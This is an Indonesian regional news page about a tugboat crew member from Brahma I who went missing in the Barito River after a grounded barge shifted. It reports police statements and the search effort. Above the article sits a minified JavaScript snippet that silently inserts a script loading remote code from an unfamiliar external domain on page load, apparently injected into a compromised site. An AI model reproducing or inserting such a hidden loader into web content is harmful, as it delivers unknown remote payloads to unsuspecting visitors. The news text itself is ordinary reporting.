(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Satu ABK Kapal Brahma I Hilang Tenggelam Akibat Kecelakaan Air


BUNTOK, Satu orang Anak Buah Kapal (ABK) Brahma I, penarik tongkang Terang 315 hilang tenggelam di Sungai Barito, akibat kecelakaan air di Desa Marawan Lama, Kecamatan Dusun Utara, Barito Selatan (Barsel), pada Jumat (5/4) sekitar pukul 11.30 WIB.

ABK naas tersebut bernama David Rande Kondolele (26) warga Linda, Kecamatan La’bo’ Kabupaten Toraja Utara, Provinsi Sulawesi Selatan.

“Iya benar telah terjadi laka air di Desa Marawan Lama yang menyebabkan satu orang ABK hilang tenggelam di DAS Barito,” kata Kapolsek Dusun Utara Ipda Driono, melalui Kanit Reskrim Bripka Karyanto, Minggu (7/4).

Ia menjelaskan, kronologi peristiwa tersebut berawal Jumat (5/4) pukul 05.00 WIB, kapal Brahma 1 dengan gandengan tongkang Terang 315 mengalami kandas di Das Barito tepatnya di Desa Marawan lama. Kemudian sekitar pukul 10.00 WIB kapal Brahma I melakukan upaya menarik tongkang Terang 315 dibantu dengan kapal Eka Moris agar bisa lepas dari kandas.

Namun, kedua kapal tersebut tidak sanggup menarinya sehingga kapal Eka Moris melepaskan tali dari tongkang dimaksud. Sedang tali kapal Brahma masih terikat pada tongkang. Tanpa diduga tiba-tiba tongkang tersebut bergeser, sehingga kapal Brahma 1 tertarik tongkang mengakibatkan miring dan hampir tenggelam.

“Pada saat kapal miring dan hampir tenggelam itulah korban yang berada disamping kapal tiba-tiba terjun ke Sungai Barito,” ungkap dia.

Tak berselang lama, sekitar 30 detik korban muncul dipermukaan sungai Barito sambil melambai lambaikan tangannya. Kemudian crew kapal langsung melempar pelampung. Namun, naas korban David Rande Kondolele tidak sempat megang pelampung yang dilempar oleh temannya Triyanto ia pun hanyut terbawa arus sungai barito dan tenggelam. “Hingga hari ini korban masih belum ditemukan dan kita masih melakukan upaya pencarian,” beber dia.

Adapun ciri-ciri sebelum kejadiaan naas tersebut, memakai baju kaos warna hitam,celana pendek hitam, tinggi badan 165 cm,dan memiliki jenggot dan kumis.(digdo)

Reporter : Digdo
Editor : Chell

Desy Arfianty

Recent Posts

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

17 menit ago

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

1 jam ago

DED Pemasangan ATCS Tugu Adipura Masih Penyempurnaan Kajian

Kadishub Banjarbaru: Setelah Kajian Selesai, Berikutnya Perizinan BPJN dan BPTD Read More

2 jam ago

Hadiri HUT ke-44 Dekranas, Ini Kata Ketua Dekranasda HSU

KANALKALIMANTAN.COM, SOLO - Ketua Dewan Kerajinan Nasional Daerah (Dekranasda) Hulu Sungai Utara (HSU) Gusti Elvira… Read More

3 jam ago

SKPD Mengajar di SMPN 2 Banjarbaru, Wali Kota Aditya Ngajar Kelas Inspirasi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More

4 jam ago

Pastikan Kehadiran Habib Syech ke Kapuas Bersholawat 27 Juni

KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More

4 jam ago

This website uses cookies.